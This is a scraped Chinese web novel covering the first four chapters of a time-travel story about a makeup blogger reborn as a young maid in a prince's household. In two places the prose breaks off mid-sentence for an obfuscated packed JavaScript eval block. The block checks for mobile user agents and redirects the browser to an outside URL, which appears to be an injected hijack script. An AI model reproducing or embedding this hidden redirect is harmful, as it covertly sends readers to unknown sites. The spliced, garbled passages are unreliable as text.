《妆娘穿越90天救命计划》 1. 第 1 章 景朝,楚州。 初冬的冷风卷着片片雪花刮进楚王府的下人院子里,像是给满地的落叶涂上点点白霜,院子里随意搁着个装便宜胭脂用的梳妆小包,裹着一层薄薄的白雪。 不甚结实的木棱窗户被寒风吹得哐哐作响,偶尔有灵活的风卷儿发现了门口木板的缝隙,一股劲地钻进来,呼啸声回荡在耳边。 躺在东角屋木床上的沈瑾被风声唤醒,无奈地睁开眼睛,鼻尖嗅着屋子里浓浓的便宜胭脂甜香味。 谁能想到啊?她,爆火的美妆博主,熬夜剪视频,剪完就猝死了。 魂穿到了历史上压根不存在的景朝,成了楚王府大夫人王氏的陪嫁金嬷嬷的,苍白瘦弱、年仅十岁的养女——瑾姐儿。 原身瘦弱,入冬天气骤冷,没熬过去,让她得了借尸还魂的机会。 但是, 她只能活三个月。 活完就死! 因为沈瑾一穿过来,就发现,原身残留的意识还在这具身体里,而自己的灵魂马上就要被挤出去了! 这种时候哪还顾得上体面优雅?谁都顾不上,再厉害的美妆博主也没经历过刚死一次,马上又要死一次的绝境。 “别啊!有话好好说,条件什么的,好商量啊!” 沈瑾赶紧一把抓住这具壳子的边缘,焦急地大喊,半透明的灵魂爪子绷得紧紧的。 “为什么抛弃我?为什么不要我!为什么······” 残留的意识已经无法沟通,只剩执念,哀怨的哭泣声越来越大。 突然,沈瑾的脑海被狠刺了一下,剧烈的疼痛使得她闭紧了眼睛。 执念的记忆碎片,一块一块地涌进来。 原来,这金嬷嬷不是瑾姐儿的亲娘,只是养母。 十年前,也是这么一个冬天,金嬷嬷出门去给主子办事,恰巧发现了,窝在木盆里,飘在河面上,一张小脸青紫,快要冻死的婴儿。 婴儿裹着红色织金锦缎襁褓,秀着特殊的花纹‘瑾’字。 这‘红金锦缎’只有都城才用。 金嬷嬷,又懒又爱占小便宜,本着给口饭吃,将来可以有个苦力给自己跑腿的心思,把她捞了回去。 这事,瑾姐儿七岁以后就知道了。她很想去都城,去看看为什么她亲爹娘会抛弃她。可惜她没熬过这年的冬天,死了。 “我帮你查明当年的真相,查明你亲爹娘为什么不要你。” “让我留下来,好不好?天啊,我不想再死一遍啊!” 眼看着自己的半截儿灵魂已经飘散在空中,砍头的大刀已经在脖子上架着了。 沈瑾又崩溃又无奈,抓紧时间尝试争取活下来的机会。 前面猝死穿越的事儿还没搞清楚呢,现在就要面临再砍一刀。 又不是现代的某购物软件拼夕夕喽,是姐妹就来给我往死里砍。 谁知道这次再死,还能不能再活,万一彻底灰飞烟灭了呢? 沈瑾仿佛看到了地府在向她招手。 执念听到这句话,躁动的状态慢慢平息下来。 本以为死定了,谁料无法沟通的执念竟然听懂了。沈瑾惊喜地瞪大了眼睛,嘴角当即咧到耳朵根。 “好好好,我一定帮你查清楚这件事,包水落石出的。” “如果你还有什么仇人,我好事做到底,也一并帮你报了。” 灵魂终于回到身体里的沈瑾,顿时就放松了,那股子得意劲儿又冒出来,透明的爪子互相拍了拍,叉在腰上,有那么一丢丢得得瑟瑟的。 “想我沈瑾是谁,当初那么卷的美妆博主赛道都让我干出头了,还怕区区一个查案?哼。” 蜷缩成一团的执念没有任何反应,只是淡淡地甩出七个字: “三个月,不成就死。” “什么——————!?”刚刚还在得意的沈瑾闻言大惊失色,立刻放下叉腰的爪子,转身去找躲在角落的执念对质。 “三个月,怎么可能查得到啊。你知不知道,你这具身体现在是楚王府的丫鬟,还只有十岁,连王府大门都出不了几回啊!” “而且,你那红金襁褓,是都城才有的,我还得跑到都城去才行啊。” 沈瑾着急忙慌地赶紧解释,掏心掏肺。但执念压根不理,直接隐身消失。 “哎!不是,你人呢?喂,喂!你出来,你出来啊——” 喊了老半天,连个‘念’影儿都没有。沈瑾鼓着脸,生气的对着执念刚才待过的地方踹了一脚。 “三个月,怎么可能嘛,你不如让我死了算了。” 正在嘟嘟囔囔抱怨着,沈瑾突然被一阵剧烈的大力摇晃给晃醒了。 “乖女儿诶,你可算是醒了,呜呜呜,你再不醒,娘可怎么办哟!” 一个相貌平平的长脸妇人,哭的鼻涕眼泪混在一起,正拿着旧帕子抹眼睛。 这就是执念记忆里的金嬷嬷。 花白的头发简单地盘了盘,用/素/色/的银簪子插着。身上穿着棕黄色的棉衣,里面套了件厚裙子,裙角绣着几只金黄的蝴蝶,耳朵上带着两只又细又窄的银耳环。 看着年纪大了,脸上的皱纹一条接一条,大家都管她叫金嬷嬷。 沈瑾长得比她好看,面容纯美。 “娘,我没事了,您别担心。” 沈瑾看她哭的厉害,便出声安慰起来。好歹是原身的养母,总不能直接不管。 但没想到,金嬷嬷一听没事了,立刻收回了眼泪: “没事就好,咳咳,那什么,你赶紧起来,把药喝了以后,就去把衣服、碗盆什么的都洗了。你这丫头躺了好几天了,衣服放那都臭了。” “······” 金嬷嬷说完就扭着腰,出门去了,也不知道去干嘛,左右不过是去和别的婆子嚼舌根、吹牛炫耀、背后骂人。 金嬷嬷这十年来,就是这样对待瑾姐儿的。 吃饱穿暖没问题,关心爱护,没有。 这次昏迷,她哭是因为担心自己找的苦力死翘翘了,以后这些活就要她自己干了。 “唉······” 沈瑾幽怨地叹了口气,先是莫名其妙猝死穿越,然后是三个月死亡倒计时,一醒来又面临原身养母的催促,桩桩件件,一环接一环,/逼/得沈瑾连喘口气的时间都没有,脑子嗡嗡的。 翻身下床,走到院子里的脏衣篓子前坐下,开始无奈地洗衣服。 沈瑾心里一股子怨气和愤怒,美妆大博主的稳重被暂时抛到一边。 “这是我穿越的第一天······” 【死亡倒计时:90天】 “别人穿越都是公主千金、皇后贵妃,就我是个苦力丫鬟!” 咚的一声,沈瑾泄愤般,一边洗衣服一边用棒子捶打水面。 “好不容易,美妆事业火了,结果猝死穿越了,还它喵喵的小命都受制于''念'',三个月,三个月怎么可能够!” 咚————,继续捶。 “小说里穿越都是去享福,就我来这儿受罪,这案子压根就查不了,合着我就等三个月后再死一回呗。” 沈瑾委屈的眼泪汪汪,小嘴儿一撇。 emo了一会儿以后,沈瑾的韧劲就冒出来了。 “这世上就没有我沈瑾做不到的事儿!想当初,美妆博主竞争那么激烈,我还不是照样最火,这小小一个执念,算个什么!” “我沈瑾,绝不等死!” 在执念记忆里,这楚王府虽然落魄了,但仍然是楚州一霸。王府的配置比照着宫里建的,设立了梳妆房,管全府主子们的脂粉和画妆。 想到这里,沈瑾勾了勾嘴角。 世上无难事,只怕她沈瑾。 明天,她就去梳妆房报到。 北风还在呼呼地刮着,呼啸声越来越大,打断了沈瑾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在的她,只是一个黄毛丫头,根本出不了远门,想要调查清楚那件事的真相,都城避无可避。 只要进了春娘的院子,就可以当陪嫁,跟着去都城。 沈瑾决定, 不去春娘的院子。 而是去,梳妆房! 在众人心里最没油水的地方,除了有手艺傍身的,或者想学个手艺吃饭的,没人愿意去。 金嬷嬷为此头疼的很,梳妆房负责主子们的脂粉和画妆,忙的很,但论功行赏的时候却总是被忽略,没什么油水。 哪像当陪嫁,总能在主子面前露脸,办好了差事,赏钱多得很。 若是鸿运当头,混到了一等心腹的位置,那真是享不尽的好日子咧,身上穿的都是主子赏的锦衣绸缎。 沈瑾穿上了棕色的棉麻小袄,下面是灰青色的小裙,这是昨日府里刚发的下人冬装,一个季度一套。 掀开挡风的布帘子,来到外屋,透过门缝钻进来的寒风吹得她打了一个冷颤,沈瑾划拉一下火折子,点燃了熄灭的油灯,又往灯台里添了点煤油,屋里这才亮堂起来。 只见屋子东边的墙上,挂着个旧的铜镜子、几盒便宜的胭脂、香粉、卷了毛边的旧刷子等杂物。 墙下是一张方桌,搭几个旧凳子,形制雅致,还雕着祥云福禄纹样,一看就是大夫人赏下来的旧物。 桌上正中央还摆着一套半旧的青白瓷茶壶茶碗,描上去的金边掉了一半,也是主子赏的。 西南角摆着小架子,垛着装了冷水的洗脸盆和棉布巾子。 西面则立着一个雕了花的掉漆红木柜,等身大小,里面是鞋袜衣物,角落里放着她当年那身红金襁褓。 【死亡倒计时:82天。】 2. 第 2 章 屋里没有炉子和灶台,只能用冷水。 沈瑾咬咬牙,使劲儿端起装了冷水的面盆,凑合着洗脸刷牙。 景朝虽然是历史上不存在的王朝,很多东西也不一样,但还是有刷子的。 分成刷牙用的、画妆用的,或者混杂用的普通刷子。 不论哪种刷子,最常见的是用猪毛做的,集市小摊子上只卖两三个铜板,寻常百姓家里都用这种。 也有软毛材质的,府里的夫人姑娘们,都用兔毛、狼毛、狐狸毛做的刷子。 刷完牙,沈瑾用棉布巾子沾了点冷水,快速地擦完了脸,从旁边的小陶罐里,摸了点面脂出来用。 这面脂比较便宜,在集市上随便买的,用着又干巴又粗糙,府里大夫人、小姐们用的从都城买来的面脂就很细腻光滑,还水嫩,带着花香。价格自然不便宜,贵得很呐,听说一盒就要十两银子。 下人是买不起的。 毕竟,金嬷嬷的月钱都才二两银子,更别说她这样刚进梳妆房学手艺的小丫鬟了,月钱只有五十个铜板。 但是,有赏钱。 有时候差事办的好,或者主子心情好,就会有额外的赏钱。 金嬷嬷屋里头那些东西,便是以前大夫人看她办事不错,赏的。 沈瑾去的是梳妆房,最没油水的地方,这些日子就没得过赏钱。 洗簌完,沈瑾用木头梳子按摩头皮、梳顺头发。原身的身体不好,经常生病,长到十岁了,头发还是易断枯黄的。 现在沈瑾穿越过来了,接手这具身体,实在看不得这满头枯草,手里没钱,买不起养发的芝麻丸,只得先用梳子按按摩,也算有点效果。 外面天已经大亮了,不过,初冬的寒霜还是遮得天气灰蒙蒙的。 她提着房里的竹篮子,往怀里揣上几个铜板,便出了后门,往原身记忆里热闹的早市走去。 早市上卖鸡鸭鱼鹅、鲜花果子、伞布油盐、早食吃饮的数不胜数,列成长长的一条,占了大半个早市,人声鼎沸。 最热闹的还得数脂粉店,城里最大的脂粉店胭脂轩,今天上了新品,是从都城进来的上等脂粉,香气扑鼻。一大早,店里就进满了人,排着长队。 不过,这样的大店里的东西,价格往往很贵,多是做大户人家里的贵客生意。 “小娘子,来挑些梅花胭脂,新做的······” 集市里的胭脂小铺子,门口站着掌柜的,挥着沾了香粉的手帕子,大声笼络客人,热情得很。 小铺子的下等胭脂价格便宜,一两银子就能买好几盒,有余钱的人家经常来捡几盒。 沈瑾挑了两盒梅花香粉,又拐了个弯,去街口的老铺子里,要了一盒螺黛。王府里的梳妆房只管主子们的脂粉,丫鬟婆子的都得自己出去买。 等回到东角屋,金嬷嬷才刚起,还在屋里慢腾腾地洗脸,听到外面传来熟悉的脚步声,猜到应该是沈瑾回来了。 “瑾姐儿,香粉买回来了没?” “买回来了,娘。”沈瑾一边回应,一边动作利索地把东西都放在了方桌上。 “哈欠———,还有搽脸的面脂也要买了···” 说着,随便扔下手里湿淋淋的棉布巾子,金嬷嬷打着哈欠,迷瞪着眼往方桌旁坐下。 “给我点钱,明天就去早市给你买呢。” 沈瑾把买来的画妆品整理好,挂在了墙上的袋子里,才腾出手来,把洗脸盆和棉布巾子都弄干净了。 这些杂活儿,自从瑾姐儿长大后,就全都归了她。金嬷嬷这么懒的人,是决不会动手做的。若是沈瑾不做,这巾子能放到发黄。 况且,金嬷嬷当初把她从河里捞回来,就是为了用她干活。 沈瑾用了早饭,便准备去梳妆房做事。 出门前,金嬷嬷又唠唠叨叨地重复跟她说:“眼睛放亮些,多讨好梳妆房管事的娘子,别坏了你娘我的名声。” 还没说两句正经话,就接着露出贪婪的嘴脸,“你呀个死笨的丫头,别像在屋里这样老实,凡事机灵点,逮着机会,偷偷往怀里揣两三盒上等面脂,带回来孝敬我。” “然后啊,不要和别的丫鬟多接触,她们心眼子多的很。” 府里的家生子,一个赛一个的心思重,若是让瑾姐儿跟着她们学坏了,万一不认她这个养母了,咋办? 十年喂的饭全打水漂,就没人伺候她了。 这些话,沈瑾已经听了八天,耳朵都快要起茧子,都快背下来了,她总共才进梳妆房八天而已。 没一会儿,就到了梳妆房。 梳妆房的管事娘子姓宋,干了好些年了,当初因为手艺好,被大夫人看中,带着嫁到了楚王府,算是大夫人的院里排的上号的人。宋娘子有个女儿,叫脂奴,在梳妆房跟着她娘,一边学手艺,一边做事。 “瑾姐儿,坐这儿来。” 脂奴来的早,现在已经在做活了,手里裁着包胭脂的纸块。 今天午前得准备好全套的妆品、刷子,去给大夫人上妆。 大夫人出身海商大贾之家,用的妆品都是选最贵的。比如花香脂粉。 ‘花香‘听起来似乎很平凡,但其实并不普通。 花香脂粉是景朝有名的妆品,制作起来非常繁琐复杂,仅是用到的鲜花原料,就有春桃花、夏月季、秋金菊、冬红梅,还得挑当季开得最艳的花骨朵儿。 一盒花香脂粉的工期可耗时整整一年。 除了脂粉,大夫人对妆容,也有自己的喜好。 怎么化、化什么妆、用什么脂粉、怎么用,宋娘子对此门儿清,也是她能管着整个梳妆房的独家秘籍。 沈瑾在现代当美妆博主时,可是下了狠功夫去钻研古代画妆品,以一手惊艳四座的古法妆容,在内卷至极的美妆赛道,爆火出圈,甚至被邀请去给当红古偶流量明星画妆。 沈瑾天赋高又努力,在画妆领域,看一眼就能学会。 可宋娘子提防她得紧,在准备妆品、讲解技巧的时候,只让女儿脂奴在身边。 被宋娘子打发到一边的沈瑾,坐在矮凳上整理昨天府里刚采购的脂粉。 “我们二小姐这个月的脂粉在哪?” 二小姐身边的贴身丫鬟叶果快步走进来,焦急地大声询问,可却没人应她。 宋娘子正在屋内专心的给女儿开小灶教学,梳妆房打杂的小丫鬟也趁机偷偷躲懒去了。 她又在梳妆房里转了一圈,却没看到任何打着玉兰花标签,属于二小姐的脂粉份例。 “你们就只会使劲欺负我们二小姐!”叶果跺着脚,气得眼泪在眶里打转。 要是春娘院子里的人来拿脂粉,这群偷奸耍滑、欺软怕硬的玩意儿,还会是这样的态度吗? 二小姐也是王氏亲生的孩子,但并不讨王爷夫人的喜欢。 讨喜的春娘,是第一个孩子,性格随了王氏,自然受到许多关注和疼爱。 小儿子冬言是王氏所出的唯一男丁,在学堂成绩优异,是她以后的指望,十分看重。 唯独这二小姐,被下人随意磋磨,也不见王氏有什么反应。王府里的下人都是势利眼,踩低捧高的,比谁都清楚这里头的道道。 即使二小姐是府里正儿八经的嫡出千金,只要她不受主子待见,就没人在乎她。 “叶姐姐别哭,哭花了眼,对身子不好。” “和那些个懒货纠缠,惹得一身腥,不值当。” 沈瑾看这么长时间都无人搭理她,着实可怜,便走上前去安慰她。 “姐姐若是急需,不嫌弃的话,这里有我刚买的一小盒脂粉,拿去应应急吧。” 沈瑾现在能买得起的只是下等脂粉,质量当然不太好。但好在沈瑾并没怎么用,仅仅试了个色,看起来还跟新的一样。 “好像还是新的呢,你是金嬷嬷的女儿吧,谢谢你啊。” 有了一盒脂粉兜底儿,叶果情绪总算缓了些,她用帕子擦了擦通红的眼睛,但仍然很哀愁。 “可这脂粉不是二小姐平常惯用的精品,哪能画出好看的妆呢?待会儿就要给大夫人请安去了。” 叶果愁苦地眉毛都皱在了一起。想着,一个刚进梳妆房的小丫鬟也帮不上什么忙,能有一盒下等脂粉,已经是额外收获了。 说完,便冲着沈瑾勉强笑了笑,转身离开。 “姐姐别走,东西没找全,你此时回去,二小姐可怎么办?不若我和你一起去。” “若是二小姐愿意,我给二小姐画妆,你也能有的交差。”沈瑾赶紧拉住要走的叶果。 她愿意帮这个忙,一是看人实在可怜,二是抓住机会。她若是想去都城,进入小姐院子当陪嫁是最快捷的选择,春娘不靠谱,就只剩下秋娘了。 好不容易碰上个接近二小姐的机会,哪能放过?错过了这次,鬼知道猴年马月才能再有下一次。她只有三个月的时间,等不起! 叶果听这话有些道理,可眼前十岁的小丫鬟,才刚进梳妆房没几天。 “···你···”,叶果面色有点为难,很是犹豫。但时辰不早了,再过一会儿就到了请安的时候了,不能再耽误了。 “···算了,你先跟我过去吧。” 叶果咬咬牙,心一横,拉着沈瑾就往二小姐院子里跑。 二小姐的院子比较偏远,不大,左右两边都种了一些素雅的花花草草,不过在冬季都凋零了。后面建了一座小亭子,挂着浅色的纱幔,随风飘着,整个院子很安静。 院里有几间房屋,二小姐住在北边的正房里,房门口飘着绣着玉兰花的流苏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876030|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶果一进屋就向二小姐哭诉:“小姐,那群欺负人的奴才,压根就没有准备我们的脂粉!” 二小姐秋娘听完,苍白着脸,低下头叹了口气。 “不过,梳妆房的瑾姐儿,跟我回来了,要不要让她试试?” “······如今也没别的法子了,姑且试试吧。”秋娘攥紧了手里的帕子,透着无声的紧张。 沈瑾先给二小姐行了个礼,然后手脚利落地把上妆用的工具都摆放好了。 沈瑾先用打湿好的帕子给二小姐润了润脸,再从桌子上拿起面脂瓷罐,扒开盖子,挑出一小勺敷在了脸颊处。 再用手指尖儿,轻轻地由内而外地推开,一边打圈儿、一边把面脂揉进肌肤里。 面脂是玉兰香的,很适合二小姐。 二小姐秋娘和叶果发现她揉起面脂来,很是有模有样不说,还非常舒服,都惊诧不已,渐渐地也收起了心里那一份怀疑犹豫。 揉好了面脂,沈瑾打开她刚才在梳妆房送出去的那盒脂粉,拿起旁边搁桌上的兔毛软刷,稍微沾了粘,斜着扫掉了脸上多余的油脂水分。 这香粉质量不高,本来刷不出平滑的效果的,但沈瑾扎实的画妆技术弥补了这一点。现在二小姐的脸光滑的仿佛没有任何瑕疵。 叶果在一旁看得目瞪口呆,嘴巴都合不上。 “瑾妹妹,你这手艺可真好!” “这还早着呢,待会儿画完了更漂亮。” 说完,沈瑾又挑选起螺黛来。 二小姐喜欢素净的打扮,今天穿的是青木色的绸缎子锦衣,裙面绣了几朵白色玉兰花。况且是去给大夫人请安,不宜太过张扬。 沈瑾细细看了看,觉得淡雅系列更适合她,便挑了浅棕色的螺黛给她画了眉,画得是细叶斜柳眉,很衬二小姐温柔的气质。 叶果见她画得如此之好,心里很是欢喜。 “我帮你弄胭脂唇彩吧。” 她不好意思一直在旁边干看着,让过来帮忙的瑾姐儿一人忙活。 “没事儿的,姐姐,我来就好。小心脂粉撒你身上,弄花了裙子。” 沈瑾看了一眼她身上的裙子,面料精细,还泛着光。 难怪人家都说,高门大户里的大丫鬟过得比外面人家的小姐都要好。 沈瑾这么一提醒,叶果也想到了,自己确实不太会画妆。平时,她主要伺候的是小姐的生活起居。 以前她们二小姐的妆容也是由梳妆房派人来画的。但那些下人们都是贪婪的势利眼,看二小姐不受宠,就都推脱着不来,就算来了,也是明里暗里地要赏钱,都不好好画妆。 从那以后,就是几个丫鬟各自画几笔,凑出一副妆容来,或者偶尔,二小姐自己简单画画。 看画得差不多了,叶果就起身去拿银镜子。 沈瑾很快就涂完了胭脂,淡淡的桃红从面颊飞到眼尾,在柔雅中添了一丝俏皮,即显可爱,又和整体的着装十分搭配。 唇彩也用的桃红,先涂了蜜膏,再补了水,这样涂出来的嘴唇不仅水嫩光滑,还显得气色很健康。 等叶果拿到镜子回来,刚一进屋,就看到她家小姐漂亮的让人难以挪开目光。 冬日柔和的阳光洒在她的脸上,仿佛为她披上了一层轻纱般的光晕。肌肤如瓷器般白皙透亮,带着淡淡的红晕,仿佛春日里初绽的娇花。眉毛也被细致地勾勒出自然的弧度,眉尾微微上扬,增添了几分灵动,又不失温婉。 叶果完全没想到,画出来能有这么好看。 之前还有点不信任沈瑾。此时,面对着这般柔美又合适的妆,叶果佩服的无以言表,只想拍手鼓掌叫好。 “太好看了,太漂亮了,画得真好哇!” 就连二小姐,也喜欢得不得了,抱着银镜不放手,静静地凝视着自己的倒影,眼里泛着开心的光芒。 “瑾姐儿,你还有这番手艺,我好喜欢。谢谢你。” 二小姐转过身来,对沈瑾道谢,眼睛里含着纯粹的喜爱。 无论古今,每次化完妆,看到人们脸上的笑意,沈瑾都会觉得很幸福,或许这就是她选择当一个美妆博主的意义。更让她触动的是,二小姐信任她、尊重她的技术,愿意说谢谢,在这个阶级森严的景朝,这份真挚难能可贵。 “瑾姐儿,这妆容叫什么名字?” 二小姐秋娘瞧这妆容甚是好看,柔美灵动,以前却从没见过,很是新鲜,感兴趣地笑着问。 “这是我自己琢磨的,叫桃映妆。不是什么有名的妆容,委屈二小姐了。” 沈瑾虽然对自己的技术非常自信,但该有的场面话还是要说的。 “二小姐若是喜欢,以后我天天来给小姐画妆。” 如果能借这次机会,攀上二小姐这艘船,那就太好了。 3. 第 3 章 秋娘见她这样会说话,画的妆又很是好看,心里喜欢的紧,想着待会儿给她点赏。 沈瑾高兴地看着二小姐,她之前不敢表现出自己会画妆,主要是怕露馅儿。 毕竟原身是真的完全不懂画妆的事儿,如果她突然变得特别会画妆,她敢保证,不会有人当她是天才,而是把她抓起来当做鬼怪附身,一把火烧了。 在原身瑾姐儿的记忆里,她看到,这景朝上上下下迷信成风,无论婚丧嫁娶、谜题怪事、达官贵人、市井小民,都十分信奉神仙。 一旦遇到什么人力不可为的,讲不通的奇人异事,第一时间都往精怪那儿猜测,嚷嚷着要点火烧掉。 但是,现在她已经在梳妆房待了几日,有借口可以应付别人的怀疑了。 “瑾姐儿,你画得好,我心里甚是欢喜你,这些钱,赏给你,拿去买果子吃。” 二小姐秋娘欣赏够了脸上新鲜漂亮的桃映妆,放下手中的银镜子,转过身来和沈瑾说话。 看着面前心思纯净又讨巧的小丫头,秋娘越看越喜欢,更别说画妆手艺还如此之好。 秋娘当即给了赏钱,心里想着下次还让瑾姐儿过来。 给二小姐画完妆后,沈瑾就回到了梳妆房。 宋娘子已经带着脂奴给大夫人画妆去了,也没想着问她在哪里,沈瑾自然也不会热脸贴人冷屁股,专门凑过去讨嫌,索性就在梳妆房摸起了鱼。 先是在房里转了一圈,仔细看了看王府里的脂粉妆品是什么样的,了解了解古代脂粉的种类、质量、工艺。 又踱着步子,去瞅了瞅沾粉的刷子。 最后,再翻了翻二小姐刚才给她的赏钱,不多,才二十铜板。但这是沈瑾在梳妆房当差以来,第一次拿到赏钱,都快赶上她半个月的月钱了,其他主子可没给过赏钱。 装赏钱的荷包也挺好看的,还是绸缎做的,玉兰花的图样,在角落里绣了‘秋’字。 一番洋工磨下来,下值的时辰也快到了,沈瑾打算把最后一点待归整的胭脂都整理了,就回家去。 正整理呢,就瞅见宋娘子母女俩终于回来了。 宋娘子用玫色方巾包着头发,手腕子上戴着一只又窄又细的朱砂镯子,一副干劲十足、手脚麻利的样子。 宋娘子一回来,看到沈瑾还在,严肃的表情缓和了许多,满意地点点头。 金嬷嬷的这个女儿,挺勤快的。 “宋娘子您回来啦,辛苦了。”沈瑾笑着恭维了她一句。 宋娘子说,“怎么还在这儿候着?早点回家歇着吧,反正这儿也没什么活。” “宋娘子待我极好,我就想着把这些胭脂都整理了。” 这些都是场面话,你糊弄我、我糊弄你的。 要是她真把宋娘子的话当真了,哪怕就早走一会儿,宋娘子的心里肯定也很不爽,必会暗地里给她穿小鞋、使绊子。 宋娘子听了这番话,更满意了,推推旁边脂奴的肩,让她跟瑾姐儿学学,瞧瞧人家多会说话。 脂奴看到她娘这般满意沈瑾,心里不爽极了。翘着小嘴儿,吊着个脸,干活时坚决不和沈瑾待一块儿。 沈瑾知道她生气了,想着现在不能得罪她,便主动上前,说几句好听的话,缓解紧张的气氛。 脂奴本身年纪不大,也不记仇,哄一哄,就又开始跟她讲话。 “我最近可累了,我娘这两天买了一堆的胭脂水粉,让我不停的在胳膊上刷来刷去的。刷满了就拿水擦掉再刷,你看我的胳膊都擦破皮了。” 脂奴伸出了左胳膊,让沈瑾看她胳膊上的伤口。 “不仅如此呢,娘说了,以后要天天都这么做。直到刷出来的颜色让她满意,才能不刷脂粉了。” 脂奴的诉苦,让沈瑾直发愁。 宋娘子这是开始教脂奴化妆的手艺了啊,想让她以后给府里的姑娘当梳妆陪嫁呢。这刚开始只是刷刷胭脂,后面就是教正经的化妆了。 宋娘子连平时教导备妆,都提防她,总是把沈瑾赶到梳妆房外边去,或者打发她到别的地方办事,更别说正式的画妆教学了。 王府里选梳妆陪嫁,关键就看,这人能不能画,镇得住大场面或者说体面合礼节的正妆。 比如:诰命夫人聚会的妆容、进宫觐见的妆容、招待客人的妆容。 这些时候,看似只需要画所谓端庄的妆就可以了,但其实细节之处非常不好画,这很考验妆娘的手艺。 关键这景朝是历史上不存在的,妆容上的规矩和沈瑾在现代研究的那些,不一样。 单拿一个招待客人的妆容来说,就要呼应景朝特有的时节、符合女主人的身份地位、既要好看又得端庄,还要考虑客人的身份,不能冲突了,景朝的形制更是得注意,不能坏了规矩。 仿若五彩斑斓的黑。 宋娘子,虽然不是顶尖的妆娘,但这些妆都能化。她就只有脂奴这么一个女儿,肯定只把画妆手艺传给脂奴,怎么可能教给别人,若是别人学得比脂奴好,将来跟脂奴抢饭碗怎么办? 其实这也能理解,换了旁人,都会这样做。人心嘛,总是向着自己人这边的。但要是这些讲规矩的正妆不会画,到时候选陪嫁,恐怕就······ 若是选不上梳妆陪嫁,那就去不了都城。 这也是沈瑾发愁的地方。 王府的小姐们,即便是不讨喜的二小姐,将来大概率也会嫁到都城去,虽然不知道是什么样的人家。但能做梳妆陪嫁,就可以借此机会到都城。 沈瑾必须去都城,查清楚当年那件事的真相。 否则,三个月一到,就是她的死期。 想着都头痛,沈瑾挠了挠头,倒吸一口凉气。 但现在挠破脑袋,也想不出啥,干脆下了值,回东角屋了。 金嬷嬷管着大夫人院子里旧库房,平日里啥事没有,清闲到无聊,又无人管她,所以经常早早地偷溜,要么去和婆子吃酒吹牛,要么回屋犯懒睡觉。 刚踏进东角屋,就看见屋里方桌上,放着绸缎子做的荷包,鼓鼓囊囊的,一看就是装着赏钱。 “瑾姐儿,你啥时候攀上了二小姐?” 金嬷嬷喜滋滋地上手摸着荷包,一眼就瞅见了绣着的‘秋‘字。虽然二小姐不得宠,但那也是正儿八经的主子。 “是今儿个给二小姐画妆,画得好,赏给我的。” 沈瑾刚回来,正换衣服呢。 “好女儿,嘿嘿这钱,娘给你收着啊,存着当嫁妆。” 话音还未落,金嬷嬷就手快地把荷包塞怀里了,两眼冒着光。 说是存嫁妆,转头就能花个精光,喝酒吃肉、打牌闲聊,多了去了。 听到这话,沈瑾赶紧放下衣服走出来: “娘,您快把荷包还给我。这钱得存着给梳妆房的宋娘子送礼。” 沈瑾知道这养母最是见钱眼开,若是不做点什么,这赏钱绝对到不了自己手上。 “娘,送了礼,宋娘子教我真本事,我就能进姑娘院子里当梳妆陪嫁了。” “到时候我的月钱会很多,都拿来孝敬您。可比这二十文多多了。” 只有拿银子吊着她,才能稳住。 金嬷嬷幻想了一下,将来钱多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春娘性格肖母,管下人管得严,将来到了都城侯府,只会更严。 若是跟了春娘,她哪有机会伸手探查事情的真相?怕是连院子门都出不了几次。 这也是为什么她当初不听金嬷嬷的话,没有进春娘院子的原因。 这王府里,嫡出的小姐有两位,大姑娘春娘、二小姐秋娘。大概率都是会嫁到都城的,肯定都需要梳妆陪嫁。 她心里已经打算好了,要进二小姐秋娘的院子当梳妆陪嫁。 二小姐性格温和,甚至可以说软弱,对下人很好。虽然这样讲,不太正当,但确实心软、好拿捏。 将来若是随二小姐到都城,必然有很多时间调查。说不定,还可以找二小姐帮帮忙。 这也是为什么沈瑾选择进梳妆房的原因,只有这样,才有机会接触到二小姐。 大小姐春娘受宠,王氏肯定会给她寻摸最好的妆娘,不会在府里梳妆房的小丫鬟里面挑。 二小姐又没主动提过需要一个专门的梳妆丫鬟,突然平白无故地跑到二小姐院里推销自己,怕是没人会相信她。 毕竟金嬷嬷的人脉关系只在大夫人院里,顶天了能把她塞进大姑娘的旧库房里当小丫鬟,压根就沾不上二小姐的边。 但进了梳妆房,就有机会被指派去给二小姐画妆,一来二去,谋算有望。 其实,只要宋娘子教她几个景朝特有的正妆就行了。 这是楚王府的嫡女出嫁前,大夫人给女儿们挑梳妆陪嫁,必须会画的妆容。 不管这些妆好不好看、漂不漂亮,在权贵人家、皇亲国戚眼里,体面、合规矩,最重要! 一个合格的梳妆陪嫁,必须会画合乎景朝规矩的正妆。 如果既能合规体面,又能好看漂亮,那就再好不过了,只是这样的妆娘少有。 沈瑾若想争二小姐梳妆陪嫁的位置、若想进都城,就必须学会这些‘体面正妆’。 4. 第 4 章 【死亡倒计时:81天】 翌日中午,沈瑾从梳妆房出来,正准备扔掉不要的废纸盒子,就看见站在假山石后边的叶果,悄悄地冲着她招手。 “瑾姐儿······”叶果左右看了看,确定四下无人,小声地喊了声。 “叶姐姐。” 沈瑾朝她走了过去。 “你上次画的妆可真好看,这次能不能给我也画画?不用二小姐那般漂亮精致的,简单点的就行。” 原来那次给二小姐化妆,深深地震撼了叶果。叶果从来没见过那么好看又素雅的妆容。 今天下午叶果的庄子里的情哥哥,要来看她,叶果就想画的好看一点。 说到这儿,叶果满脸飞红,扯着手帕,女儿家的娇羞心思一览无遗。 